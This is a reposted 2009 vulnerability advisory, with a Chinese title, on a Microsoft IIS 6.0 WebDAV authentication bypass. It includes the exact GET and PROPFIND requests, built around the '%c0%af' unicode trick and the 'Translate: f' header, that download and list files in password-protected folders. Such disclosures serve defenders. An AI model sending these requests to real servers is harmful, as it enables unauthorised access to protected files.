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微软IIS 6.0的WebDAV的远程身份验证绕道漏洞

 

什么是WEBDAV：http://baike.baidu.com/view/974023.htm



archive: http://milw0rm.com/sploits/2009-IIS-Advisory.pdf



   *** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***



Microsoft IIS 6.0 WebDAV Remote Authentication Bypass



Discovered by Kingcope - May 12th, 2009



Affected Vendors



      Microsoft



Affected Products



      Web Server



Vulnerability Details



This vulnerability allows remote attackers to bypass access restrictions on vulnerable installations

of Internet Information Server 6.0.

The specific flaw exists within the WebDAV functionality of IIS 6.0. The Web Server fails to properly

handle unicode tokens when parsing the URI and sending back data. Exploitation of this issue can

result in the following:



         Authentication bypass of password protected folders

         Listing, downloading and uploading of files into a password protected WebDAV folder



Authentication bypass of password protected folders



Assume there is a password protected folder in „d:\inetpub\wwwroot\protected\“. The password

protection mechanism is not relevant for the attack to work. Inside this folder there is a file named

„protected.zip“



The attacker sends a HTTP GET request to the web server.



         GET /  %c0%af/protected/protected.zip HTTP/1.1

         Translate: f

         Connection: close

         Host: servername



As seen above the URI contains the unicode character '/' (%c0%af). This unicode character is

removed in a WebDAV request. „Translate: f“ instructs the web server to handle the request using

WebDAV. Using this malicious URI construct the webserver sends the file located at

„/protected/protected.zip“ back to the attacker without asking for proper authentication.

Another valid request an attacker might send to the web server is:



         GET /prot%c0%afected/protected.zip HTTP/1.1

         Translate: f

         Connection: close

         Host: servername



IIS 6.0 will remove the „%c0%af“ unicode character internally from the request and send back the

password protected file without asking for proper credentials.

ASP scripts cannot be downloaded in this way unless serving of script source-code is enabled.



Listing files in a password protected WebDAV folder



The attack on WebDAV folders is similar. The attacker can bypass the access restrictions of the

password protected folder and list, download, upload and modify files.

The attacker sends a PROPFIND request to the web server.



        PROPFIND /protec%c0%afted/ HTTP/1.1

        Host: servername

        User-Agent: neo/0.12.2

        Connection: TE

        TE: trailers

        Depth: 1

        Content-Length: 288

        Content-Type: application/xml

        <?xml version="1.0" encoding="utf-8"?>

        <propfind xmlns="DAV:"><prop>

        <getcontentlength xmlns="DAV:"/>

        <getlastmodified xmlns="DAV:"/>

        <executable xmlns="http://apache.org/dav/props/"/>

        <resourcetype xmlns="DAV:"/>

        <checked-in xmlns="DAV:"/>

        <checked-out xmlns="DAV:"/>

        </prop></propfind>



IIS responds with the directory listing of the folder without asking for a password.



Credit



This vulnerability was discovered by:

        Nikolaos Rangos

        Contact: kcope2@googlemail.com

        Greetings to: alex and andi